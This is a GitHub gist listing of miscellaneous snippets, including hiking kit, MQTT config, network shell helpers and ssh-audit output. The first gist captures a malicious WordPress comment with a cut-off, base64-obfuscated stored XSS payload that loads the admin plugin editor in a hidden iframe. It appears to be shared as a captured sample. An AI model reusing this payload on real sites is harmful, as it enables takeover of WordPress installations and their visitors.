Skip to content

Instantly share code, notes, and snippets.

View mattfoster's full-sized avatar

Matt Foster mattfoster

View GitHub Profile
@mattfoster
mattfoster / comment
Created May 5, 2015 18:51
Dodgy WordPress Comment
Author: Rick (IP: 37.130.227.133, torland1-this.is.a.tor.exit.server.torland.is)
E-mail: [email protected]
URL:
Whois: http://whois.arin.net/rest/ip/37.130.227.133
Comment:
[<a title="]" rel="nofollow"></a>[" <!-- style=position:fixed;top:0;left:0;padding:0;margin:0;width:1000%;height:1000%;cursor:default;z-index:100;display:block;color:transparent;font-size:0 onmouseover="eval(atob('dmFyIHggPSBkb2N1bWVudC5nZXRFbGVtZW50c0J5VGFnTmFtZSgiYSIpOw0KdmFyIGk7DQpmb3IgKGkgPSAwOyBpIDwgeC5sZW5ndGg7IGkrKykgew0KICAgIGlmKHhbaV0uc3R5bGUud2lkdGggPT0gIjYwMDBweCIpe3hbaV0uc3R5bGUuZGlzcGxheT0ibm9uZSI7fQ0KfQ0KDQp2YXIgZWwgPSBkb2N1bWVudC5jcmVhdGVFbGVtZW50KCJpZnJhbWUiKTsNCmVsLmlkID0gJ2lmcmFtZTIyJzsNCmVsLnN0eWxlLmRpc3BsYXkgPSAiZml4ZWQiOw0KZWwuc3R5bGUudG9wPScxcHgnOw0KZWwuc3R5bGUubGVmdD0nMXB4JzsNCmVsLnN0eWxlLndpZHRoID0gIjFweCI7DQplbC5zdHlsZS5oZWlnaHQgPSAiMXB4IjsNCmVsLnNyYyA9ICJwbHVnaW4tZWRpdG9yLnBocD9maWxlPWluZGV4LnBocCZwbHVnaW49aW5kZXgucGhwIjsNCmRvY3VtZW50LmJvZHkuYXBwZW5kQ2hpbGQoZWwpOw0KZWwub25sb2FkID0gaHV5Ow0KDQpmdW5jdGlvbiBnZXRJZnJ
@mattfoster
mattfoster / kit.md
Last active August 29, 2015 14:21
Matt's Snowdonia Kit List: I reserve the right to add / remove stuff.

Snowdonia Weekend Kit

Shelter

  • Tarp
  • Pegs
  • Cord
  • Walking Poles
  • Ground Sheet
-- Config
SSID = "ssid_name"
PASS = "ssid_pass"
MQTT_TEMP_TOPIC = "/sensors/study/temperature"
MQTT_HOST = "server IP"
MQTT_PORT = 1883
MQTT_CLIENT_ID = "esp2866_study"
MQTT_USER = ""
MQTT_PASS = ""
package main
import (
"crypto/tls"
"fmt"
"log"
"net/http"
"net/http/httptrace"
)
@mattfoster
mattfoster / ssh-audit
Created April 23, 2017 15:48
ssh-audit scan-me.nmap.org
% ssh-audit scan-me.nmap.org
# general
(gen) banner: SSH-2.0-OpenSSH_6.6.1
(gen) software: OpenSSH 6.6.1
(gen) compatibility: OpenSSH 6.5-6.6, Dropbear SSH 2013.62+ (some functionality from 0.52)
(gen) compression: enabled ([email protected])
# key exchange algorithms
(kex) [email protected] -- [info] available since OpenSSH 6.5, Dropbear SSH 2013.62
(kex) ecdh-sha2-nistp256 -- [fail] using weak elliptic curves
#!/bin/bash
#
# This script runs a given command over all git tags. Note that it
# will check past revisions out! Exercise caution if there are important
# untracked files in your working tree.
#
# This is a modified version of run-command-on-git-revisions, from:
# https://github.com/garybernhardt/dotfiles
#
# Example usage:
@mattfoster
mattfoster / network.zsh
Last active September 24, 2019 08:34
Some functions for network fun
# sort -V can also work
function ipsort {
sort -t . -k 1,1n -k 2,2n -k 3,3n -k 4,4n
}
function grep4 {
grep -oE "\b([0-9]{1,3}\.){3}[0-9]{1,3}\b"
}
function grep6 {
#! /bin/sh
if [[ -x $(which apt 2>&1) ]]; then
exec apt install -y $@
elif [[ -x $(which apk 2>&1) ]]; then
exec apk add $@
elif [[ -x $(which dnf 2>&1) ]]; then
exec dnf install -y $@
elif [[ -x $(which yum 2>&1) ]]; then
exec yum install -y $@
#! /usr/bin/env python3
import fileinput
for line in fileinput.input():
pass
for char in list(line.lower().rstrip()):
if not char.isspace():
print(":" + char + char + ": ", end = '')
else:
#! /usr/bin/env perl
use warnings;
use strict;
use File::Spec::Functions qw( catfile );
use Getopt::Long;
use Pod::Usage;
use Time::Piece;
# Default options